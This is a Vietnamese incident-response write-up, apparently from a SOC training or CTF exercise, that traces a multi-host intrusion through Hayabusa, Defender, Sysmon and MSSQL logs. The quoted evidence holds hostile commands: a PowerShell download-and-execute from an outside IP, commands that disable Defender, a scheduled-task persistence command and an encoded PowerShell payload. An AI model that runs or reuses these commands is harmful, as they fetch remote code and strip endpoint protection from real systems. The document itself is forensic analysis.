

1 Phân tích sự cố

Trong case này được cung cấp 4 máy ứng với 4 máy. Check các IP các máy trong Key được như sau

SQLServer : 192.168.170.142

FileServer:192.168.170.138

DevPC:192.168.170.186

DC01:192.168.170.124

Sử dụng hayabusa parse winevt log của 4 computer và filter alert Level mức critical

SQLServer

Timestamp	RuleTitle	Level	Comput	Channe	EventID	RuleAut	RuleMc	Status	RecordI	Details	ExtraFie	MitreTe	MitreTe	OtherTe	Provide	RuleCre	RuleFile	EvtxFile
2023-12-14 21:45:23.246 +07:00	Defender Alert (Severe)	crit	sqlserver.Defender		1116	Zach Math ##### test			91	Threat: Be Action ID: 9 #### Action Name: !malware		Defender	#####	Defender	D:\SOC\k			
2023-12-14 21:54:13.631 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		17	Florian Ro ##### test			5316	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			
2023-12-14 21:54:14.133 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		18	Florian Ro ##### test			5317	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			
2023-12-14 21:55:40.329 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		17	Florian Ro ##### test			5323	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			
2023-12-14 21:55:40.820 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		18	Florian Ro ##### test			5324	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			
2023-12-14 22:00:41.736 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		17	Florian Ro ##### test			5366	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			
2023-12-14 22:00:42.225 +07:00	CobaltStrike Named Pipe	crit	sqlserver.Defender		18	Florian Ro ##### test			5367	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC\k			

FileServer

2023-12-14 22:02:48.111 +07:00	Defender Alert (Severe)	crit	fileserver.Defender		1116	Zach Math ##### test			21	Threat: Ba Action ID: 9 #### Action Name: !malware	Defender	#####	Defe				
2023-12-14 22:03:09.065 +07:00	Antivirus Exploitation Framework Detection	crit	fileserver.Defender		1116	Florian Ro ##### stable			21	Threat: Ba Action ID: Exec #### T1203 #### T1219	Defender	#####	9/9/2018 av_e				
2023-12-14 22:05:16.976 +07:00	CobaltStrike Service Installations in Registry	crit	fileserver.Defender		13	Wojciech I ##### test			3652	EventType RuleName Exec #### T1021.002	sysmon	sysmon	#####	regist			
2023-12-14 22:05:17.034 +07:00	Defender Alert (Severe)	crit	fileserver.Defender		1116	Zach Math ##### test			3750	EventType RuleName Exec #### T1021.002	sysmon	sysmon	#####	regist			
2023-12-14 22:05:17.047 +07:00	Antivirus Exploitation Framework Detection	crit	fileserver.Defender		1116	Florian Ro ##### stable			24	Threat: Ba Action ID: 9 #### Action Name: !malware	Defender	#####	Defe				
2023-12-14 22:05:17.047 +07:00	CobaltStrike Named Pipe	crit	fileserver.Defender		17	Florian Ro ##### test			3755	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####	pipe_			
2023-12-14 22:05:17.557 +07:00	Defender Alert (Severe)	crit	fileserver.Defender		1116	Zach Math ##### test			25	Threat: Ba Action ID: 9 #### Action Name: !malware	Defender	#####	Defe				
2023-12-14 22:05:17.557 +07:00	Antivirus Exploitation Framework Detection	crit	fileserver.Defender		1116	Florian Ro ##### stable			25	Threat: Ba Action ID: Exec #### T1203 #### T1219	Defender	#####	9/9/2018 av_e				
2023-12-14 22:05:18.080 +07:00	CobaltStrike Named Pipe	crit	fileserver.Defender		18	Florian Ro ##### test			3756	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####	pipe_			

DevPC

Timestamp	RuleTitle	Level	Comput	Channe	EventID	RuleAut	RuleMc	Status	RecordI	Details	ExtraFie	MitreTe	MitreTe	OtherTe	Provide	RuleCre	RuleFile	EvtxFile
2023-12-14 22:16:54.369 +07:00	CobaltStrike Service Installations in Registry	crit	DevPC.NE\sysmon		13	Wojciech I ##### test			15610	EventType RuleName Exec #### T1021.002	sysmon	sysmon	#####	registry_se	D:\SOC			
2023-12-14 22:16:54.401 +07:00	CobaltStrike Named Pipe	crit	DevPC.NE\sysmon		17	Florian Ro ##### test			15614	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC			
2023-12-14 22:16:55.446 +07:00	CobaltStrike Named Pipe	crit	DevPC.NE\sysmon		18	Florian Ro ##### test			15615	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####	pipe_creat	D:\SOC			

DC01

Timestamp	RuleTitle	Level	Comput	Channe	EventID	RuleAut	RuleMc	Status	RecordI	Details	ExtraFie	MitreTe	MitreTe	OtherTe	Provide	RuleCre	RuleFile	EvtxFile
2023-12-14 22:08:13.784 +07:00	Defender Alert (Severe)	crit	DC01.NEX\sysmon		13	Wojciech I ##### test			3545	EventType RuleName Exec #### T1021.002	sysmon	sysmon	#####					
2023-12-14 22:08:13.784 +07:00	Antivirus Exploitation Framework Detection	crit	DC01.NEX\sysmon		1116	Zach Math ##### stable			34	Threat: Ba Action ID: 9 #### Action Name: !malware	Defender	#####	9/9/2018					
2023-12-14 22:08:13.828 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		17	Florian Ro ##### test			3551	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####					
2023-12-14 22:08:14.855 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		18	Florian Ro ##### test			3554	Pipe: \MSS EventType Evas #### T1055	sysmon	sysmon	#####					
2023-12-14 22:12:15.504 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		17	Florian Ro ##### test			3571	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####					
2023-12-14 22:12:15.905 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		18	Florian Ro ##### test			3572	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####					
2023-12-14 22:13:16.598 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		17	Florian Ro ##### test			3588	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####					
2023-12-14 22:13:17.083 +07:00	CobaltStrike Named Pipe	crit	DC01.NEX\sysmon		18	Florian Ro ##### test			3589	Pipe: \postEventType Evas #### T1055	sysmon	sysmon	#####					

Quan sát output của 4 computer có những nhận xét sau có vẻ cuộc tấn công diễn ra vào ngày 12-14-2023 vào thời gian xung quanh tầm 22h . Thứ tự lần lượt các máy đưa ra alert là SQLServer – FileServer – DC01 – DevPC .

SQLServer

Microsoft-Windows-Windows Defender%4Operational 3 Number of events: 23					
Level	Date and Time	Source	Event ID	Task Category	
(i) Information	12/14/2023 9:45:44 PM	Windows Defender	5001	None	
(i) Information	12/14/2023 9:45:23 PM	Windows Defender	1117	None	
⚠ Warning	12/14/2023 9:45:23 PM	Windows Defender	1116	None	
(i) Information	12/14/2023 9:29:03 PM	Windows Defender	5007	None	

ws Defender%4WHC Defender

General Details

```
Microsoft Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.
For more information please see the following:
https://go.microsoft.com/fwlink/?linkid=37000&name=BehaviorWin32/PFATamper.A&threatid=2147849381&enterprise=0
Name: Behavior:Win32/PFATamper.A
ID: 2147849381
Source: System
Category: Suspicious Behavior
Path: behavior_process: C:\Windows\System32\cmd.exe, pid:3120:1250812467205643; process_id:3120:ProcessStart:13347038711241141
Detection Origin: Unknown
Detection Type: Concrete
Detection Status: Unknown
User: NT AUTHORITY\SYSTEM
Process Name: Unknown
Action: Remove
Action Status: No additional actions required
Error Code: 0x00000000
Error description: The operation completed successfully.
Security Intelligence Version: AV: 1.403.366.0, AS: 1.403.366.0, NIS: 0.0.0.0
Engine Version: AM: 1.1.23110.2, NIS: 0.0.0.0
```

Log Name: Microsoft-Windows-Windows Defender/Operational
Source: Windows Defender Logged: 12/14/2023 9:45:23 PM
Event ID: 1117 Task Category: None
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTech.local
OpCode: Info

Vào lúc 9:45:23 PM Window defend đưa ra 1 alert là detect 1 tiến trình có hành vi độc hại được là cmd.exe .

Microsoft-Windows-Windows Defender%4Operational 3 Number of events: 23					
Level	Date and Time	Source	Event ID	Task Category	
(i) Information	12/14/2023 10:18:51 PM	Windows Defender	1151	None	
(i) Information	12/14/2023 9:45:44 PM	Windows Defender	5001	None	
(i) Information	12/14/2023 9:45:23 PM	Windows Defender	1117	None	
⚠ Warning	12/14/2023 9:45:23 PM	Windows Defender	1116	None	

Event 5001, Windows Defender

General Details

```
Microsoft Defender Antivirus Real-time Protection scanning for malware and other potentially unwanted software was disabled.
```

Log Name: Microsoft-Windows-Windows Defender/Operational
Source: Windows Defender Logged: 12/14/2023 9:45:44 PM
Event ID: 5001 Task Category: None
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTech.local
OpCode: Info

Ngay sau đó chỉ vài giây windows defend option Real-time Protection đã bị disable có thể là do hành vi của tiến trình độc hại gây ra

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 9:45:13 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 9:45:13 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:45:2 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:44:52 PM	Microsoft-Windows-Sysmon	13	(13)

Event 13, Microsoft-Windows-Sysmon

General Details

The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

- SetValue
2023-12-14 14:45:13.143
EV_RenderedValue_3.00
3608
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\$-1-5-21-3224226297-1707913180-1486188404-1104\Device\HarddiskVolume4\Windows\System32\cmd.exe
Binary Data
NEXTECH\SQLService

```

The message resource is present but the message was not found in the message table

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:45:13 PM
Event ID: 13 Task Category: (13)
Level: Information Keywords:
User: SYSTEM Computer: sqiserver.NEXTECH.local
OpCode: Info

Check sysmon log vào lúc 9:45:13 process sqlservr.exe đã chạy và khởi tạo 1 tiến trình con là cmd.exe và cmd này thực thi 1 command là C:\Windows\system32\cmd.exe" /c powershell "Set-MpPreference -DisableRealtimeMonitoring 1 . Đây là command set lại giá trị của DisableRealtimeMonitoring thành 1 biểu thị cho việc tắt windows defend

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106				
Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 9:45:13 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 9:45:13 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:44:52 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:44:52 PM	Microsoft-Windows-Sysmon	13	(13)

Event 1, Microsoft-Windows-Sysmon

General Details

The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```

technique_id=1059.003,technique_name=Windows Command Shell
2023-12-14 14:45:11.124
EV_RenderedValue_2.00
3120
C:\Windows\System32\cmd.exe
10.0.1776.1697 (WinBuild.160101.0800)
Windows Command Processor
Microsoft® Windows® Operating System
Microsoft Corporation
Cmd.Exe
"C:\Windows\system32\cmd.exe" /c powershell "Set-MpPreference -DisableRealtimeMonitoring 1"
C:\Windows\system32\
NEXTECH\SQLService
EV_RenderedValue_13.00
141334

```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:45:13 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqiserver.NEXTECH.local
OpCode: Info

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 9:45:25 PM	Microsoft-Windows-Sysmon	1	(1)
Information	12/14/2023 9:45:25 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:45:23 PM	Microsoft-Windows-Sysmon	13	(13)
Information	12/14/2023 9:45:23 PM	Microsoft-Windows-Sysmon	13	(13)

Event 1, Microsoft-Windows-Sysmon

General Details

The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
technique_id=1059.003.technique_name=Windows Command Shell
2023-12-14 14:45:23.962
EV_RendereValue,2.00
4724
C:\Windows\System32\cmd.exe
10.0.17763.1697 (WinBuild.160101.0800)
Windows Command Processor
Microsoft® Windows® Operating System
Microsoft Corporation
C:\Windows\system32\cmd.exe" /c powershell "IEX (New-Object Net.WebClient).DownloadString('http://5.188.91.243/fJSYAso.ps1")"
C:\Windows\system32\
NEXTECH\SQLService
EV_RendereValue,13.00
141334
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:45:25 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqserver/NEXTECH\local
OpCode: Info

Vào lúc 9:45:25 attacker dùng cmd để thực thi 1 command download 1 file ps1 từ địa chỉ url http://5[.]188[.]91[.]243 có tên là FJSYAso.ps1 có vẻ như mục đích tắt window defend của attacker nhằm tải file này xuống . Đến đây chúng ta có thể chắc chắn rằng ip 5.188.91.243 là của attacker . Check log của MSSQL chúng ta phát hiện hành vi brute force của attacker

```
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login failed for user 'sa'. Reason: Password did not match that for the login provided. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Error: 18456, Severity: 14, State: 8.
2023-12-14 06:43:08.76 Logon Login succeeded for user 'sa'. Connection made using SQL Server authentication. [CLIENT: 5.188.91.243]
2023-12-14 06:43:08.76 Logon Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-12-14 06:43:08.76 Logon Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
2023-12-14 06:43:08.76 Logon Login succeeded for user 'NT SERVICE\SQLTELEMETRY'. Connection made using Integrated authentication. [CLIENT: <local machine>]
2023-12-14 06:43:08.76 Logon Login succeeded for user 'NT SERVICE\SQLTELEMETRY'. Connection made using Integrated authentication. [CLIENT: <local machine>]
2023-12-14 07:09:31.67 Logon Login succeeded for user 'NT SERVICE\SQLTELEMETRY'. Connection made using Integrated authentication. [CLIENT: <local machine>]
2023-12-14 07:14:31.94 Logon Login succeeded for user 'NT SERVICE\SQLTELEMETRY'. Connection made using Integrated authentication. [CLIENT: <local machine>]
2023-12-14 07:19:32.20 Logon Login succeeded for user 'NT SERVICE\SQLTELEMETRY'. Connection made using Integrated authentication. [CLIENT: <local machine>]
2023-12-14 07:22:23.83 spid6s Always On: The availability replica manager is going offline because SQL Server is shutting down. This is an informational message.
2023-12-14 07:22:23.83 spid6s SQL Server is terminating in response to a 'stop' request from Service Control Manager. This is an informational message only. No
2023-12-14 07:22:23.97 spid14s Service Broker Manager has shut down.
2023-12-14 07:22:24.00 spid6s .NET Framework runtime has been stopped.
2023-12-14 07:22:24.07 spid6s SQL Trace was stopped due to server shutdown. Trace ID = '1'. This is an informational message only; no user action is required.
```

Chúng ta có thể thấy attacker đã brute force thành công tài khoản có tên user là sa đó là lý do tại sao attacker của nó quyền control vào máy SQLServer . Quan sát hành động của attacker sau khi bruteforce thành công thấy attacker đã sử dụng 2 option là show advanced options và xp_cmdshell . Options xp_cmdshell cho phép thực thi các lệnh hệ thống hoặc các tệp lệnh bên ngoài hệ thống thông qua lệnh "xp_cmdshell" trong môi trường T-SQL (Transact-SQL)

Tiếp tục check trong sysmon log vào lúc 9:53:13 phát hiện ra 1 hành động đáng nghi ngờ là của attacker đã create 1 schedule task với là UpdateCheck với việc thực thi file UpdateCheck.ps1 . Không đủ thông tin tệp UpdateCheck.ps1 làm gì do không có file mẫu nhưng có thể suy đoán nó liên quan đến file FJSYASo.ps1 mà attacker đã tải xuống nhằm mục đích persistent

Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 9:53:13 PM	Microsoft-Windows-Sysmon	1 (1)	
(i) Information	12/14/2023 9:52:45 PM	Microsoft-Windows-Sysmon	11 (11)	
(i) Information	12/14/2023 9:52:38 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:52:26 PM	Microsoft-Windows-Sysmon	3 (3)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
technique_id=T1083.technique_name=File and Directory Discovery
2023-12-14 14:53:13.311
EV_RenderedValue_2,00
4708
C:\Windows\System32\cmd.exe
10.0.17763.1697 (WinBuild.160101.0800)
Windows Command Processor
Microsoft® Windows® Operating System
Microsoft Corporation
Cmd.Exe
C:\Windows\System32\cmd.exe /C schtasks /create /tn "UpdateCheck" /tr "powershell -File 'C:\Users\SQL.Service\Documents\UpdateCheck.ps1'" /sc onlogon /ru System
C:\Users\SQL.Service\Documents\
NT AUTHORITY\SYSTEM
EV_RenderedValue_13,00
999
1
System
ShtA1-DED8FD7F36417F66EB6A10E0C0D7C002986E9.MD5=911D039E71583A07320B32BDE22F8E22.5HA256
i=BC866FCFDA37E3DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,IMPHASH=272245E2988E1E430500B852C4FB5E18
EV_RenderedValue_18,00
596
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:53:13 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver\NEXTECHlocal
OpCode: Info

Tiếp tục phân tích log chúng ta có thể thấy attacker cố gắng connect TCP đến các máy DevPC (192.168.170.186) ,FileSever(192.168.170.138) và DC01(192.168.170.124)

nhưng đều false

Microsoft-Windows-Sysmon%4Operational 11 Number of events: 3,106				
Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 9:56:09 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:56:08 PM	Microsoft-Windows-Sysmon	22 (22)	
(i) Information	12/14/2023 9:55:45 PM	Microsoft-Windows-Sysmon	11 (11)	
(i) Information	12/14/2023 9:55:40 PM	Microsoft-Windows-Sysmon	18 (18)	

Event 3, Microsoft-Windows-Sysmon

General Details

```
If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:
technique_id=T1218.01.technique_name=Rundll32
2023-12-14 14:56:08.031
EV_RenderedValue_2,00
2604
C:\Windows\System32\rundll32.exe
NT AUTHORITY\SYSTEM
tcp
True
False
192.168.170.142
-
50353
-
False
192.168.170.186
-
445
-
Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:56:09 PM
Event ID: 3 Task Category: (3)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver\NEXTECHlocal
OpCode: Info
```

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 9:56:40 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:56:40 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:56:38 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:56:33 PM	Microsoft-Windows-Sysmon	22 (22)	

Event 3, Microsoft-Windows-Sysmon

General Details

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
technique_id=T1218.011,technique_name=Rundll32
2023-12-14 14:56:39.431
EV_RenderedValue_2.00
2652
C:\Windows\System32\rundll32.exe
NT AUTHORITY\SYSTEM
tcp
True
False
192.168.170.142
-
52712
-
False
192.168.170.138
-
139
-
```

Log Name: Microsoft-Windows-Sysmon/Operational
 Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:56:40 PM
 Event ID: 3 Task Category: (3)
 Level: Information Keywords:
 User: SYSTEM Computer: sqlserver.NEXTECH.local
 OpCode: Info

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
(i) Information	12/14/2023 9:57:02 PM	Microsoft-Windows-Sysmon	3 (3)	
(i) Information	12/14/2023 9:57:02 PM	Microsoft-Windows-Sysmon	22 (22)	
(i) Information	12/14/2023 9:56:45 PM	Microsoft-Windows-Sysmon	11 (11)	
(i) Information	12/14/2023 9:56:40 PM	Microsoft-Windows-Sysmon	3 (3)	

Event 3, Microsoft-Windows-Sysmon

General Details

The description for Event ID 3 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

```
technique_id=T1218.011,technique_name=Rundll32
2023-12-14 14:57:00.369
EV_RenderedValue_2.00
2652
C:\Windows\System32\rundll32.exe
NT AUTHORITY\SYSTEM
tcp
True
False
192.168.170.142
-
53242
-
False
192.168.170.124
```

Log Name: Microsoft-Windows-Sysmon/Operational
 Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 9:57:02 PM
 Event ID: 3 Task Category: (3)
 Level: Information Keywords:
 User: SYSTEM Computer: sqlserver.NEXTECH.local
 OpCode: Info

Lúc 10:02:42 chúng ta thấy sysmon log đưa ra 1 alert Credential Dumping .Có vẻ ở đây attacker đã sử dụng mimikatz để có thể dump mem của process lsass.exe để tìm tài khoản và mật khẩu để có thể thực hiện hành vi lateral movement sang các máy khác

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Filter: Log: file:///D/SOC_intern_NCS_CTF/OneDrive_2024-03-20/Endpoint Forensics/Lockbit\Triage

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:04:24 PM	Microsoft-Windows-Sysmon	10	(10)
Information	12/14/2023 10:00:42 PM	Microsoft-Windows-Sysmon	10	(10)
Information	12/14/2023 10:00:41 PM	Microsoft-Windows-Sysmon	10	(10)

Event 10, Microsoft-Windows-Sysmon

General Details

```
Installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

technique_id=1003,technique_name=Credential Dumping
2023-12-14 15:00:42.228
EV_RenderedValue_2.00
5456
5876
C:\Windows\system32\rundll32.exe
EV_RenderedValue_6.00
644
C:\Windows\system32\lsass.exe
4112
(C:\Windows\SYSTEM32\ntdll.dll+a0cb4|C:\Windows\System32\KERNELBASE.dll+1668e|UNKNOWN(0000022D7294E3C4)
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM

The message resource is present but the message was not found in the message table
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:00:42 PM
Event ID: 10 Task Category: (10)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTECH.local
OpCode: Info

Vào lúc 10:02:48 chúng ta có thể thấy attacker đã remote thành công với computer FileServer khoảng thời gian trùng với mẫu có tên là ceabe99.exe detect trên máy FileServer mà đã đề cập ở lúc ban đầu khi check output Hayabusa

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:02:48 PM	Microsoft-Windows-Sysmon	22	(22)
Information	12/14/2023 10:02:48 PM	Microsoft-Windows-Sysmon	22	(22)
Information	12/14/2023 10:02:45 PM	Microsoft-Windows-Sysmon	11	(11)
Information	12/14/2023 10:02:38 PM	Microsoft-Windows-Sysmon	3	(3)

Event 22, Microsoft-Windows-Sysmon

General Details

```
The description for Event ID 22 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

2023-12-14 15:02:48.081
EV_RenderedValue_2.00
596
FILESERVER
0
::ffff:192.168.170.138;
C:\Windows\System32\winlogon.exe
NT AUTHORITY\SYSTEM

The message resource is present but the message was not found in the message table
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:02:48 PM
Event ID: 22 Task Category: (22)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTECH.local
OpCode: Info

Tiếp tục phân tích sysmonlog của máy SQLServer

Vào lúc 10:04:24 attacker đã hiện encode 1 đoạn base64

Microsoft-Windows-Sysmon%4Operational_11 Number of events: 3,106

Level	Date and Time	Source	Event ID	Task Category
Information	12/14/2023 10:04:24 PM	Microsoft-Windows-Sysmon	1 (1)	
Information	12/14/2023 10:03:45 PM	Microsoft-Windows-Sysmon	11 (11)	
Information	12/14/2023 10:03:38 PM	Microsoft-Windows-Sysmon	3 (3)	
Information	12/14/2023 10:02:48 PM	Microsoft-Windows-Sysmon	22 (22)	

Event 1, Microsoft-Windows-Sysmon

General Details

```
EV_RenderedValue_2_00
3820
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10.0.17763.1 (WinBuild.160101.0800)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell EXE
powershell -nop -exec bypass -EncodedCommand
$QBuAHIAbwBAbGUA1QBDAGbAbQBaGEAbBvACAA1QBDAGbAbQbwAHUAdABIAHATqBhAG0A2QaQAEYBaQbAQUJUwBIAHAdqBIAHIAAtAFMAYwByAgkAcAB0AEIAbAv
AGMAawAqAHA+ABzAGUAZwAqAGEA2ZAB+CAAlpBIAEsATABNAfWauBpAEYAVABXEEAUzBFAfwAUAbVAgwAbQb)AGkAZBzAfwsATQbpAGMAcgbvAHMAbwBmAHQAXAB
XAGkAbzbkAGBAbwBz2CAAARABAGVYZQBuAGQAZQb)AGCIAAAvAHYIABEAGkAcwBhAGIAbABIAEAbqB0AGkAwBwAHIAdwBhAHIAZQqAcB8daAqAfuRQBHAFBARABXAEB
AqBqEACAAwBkACAAmAqAcBAZqAqH0A
C:\Users\SQLService\Documents\
NT AUTHORITY\SYSTEM
EV_RenderedValue_13.00
2061565
1
System
SHA1=6C BCE4A295C163791B60FC23D285E6DB4F28E4C, MD5=7353F60B1739074B17C5F4DDDEF239.SHA256
=DE6A6E69944335375DC1AC23836066889D9FC7D7328EF4E1B1B160A83C, IMPHASH=741776AACCF5871FF59832DCDCAE0F
JV_RenderedValue_10.00
```

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon Logged: 12/14/2023 10:04:24 PM
Event ID: 1 Task Category: (1)
Level: Information Keywords:
User: SYSTEM Computer: sqlserver.NEXTECH.local
OpCode: Info

Sau khi giải mã đoạn mã trên mục đích là tắt windows defend trên máy FileServer bằng cách bật key DisableAntiSpyware

File download.txt

```
nvoke-Command -ComputerName FileServer -ScriptBlock { reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f }
```

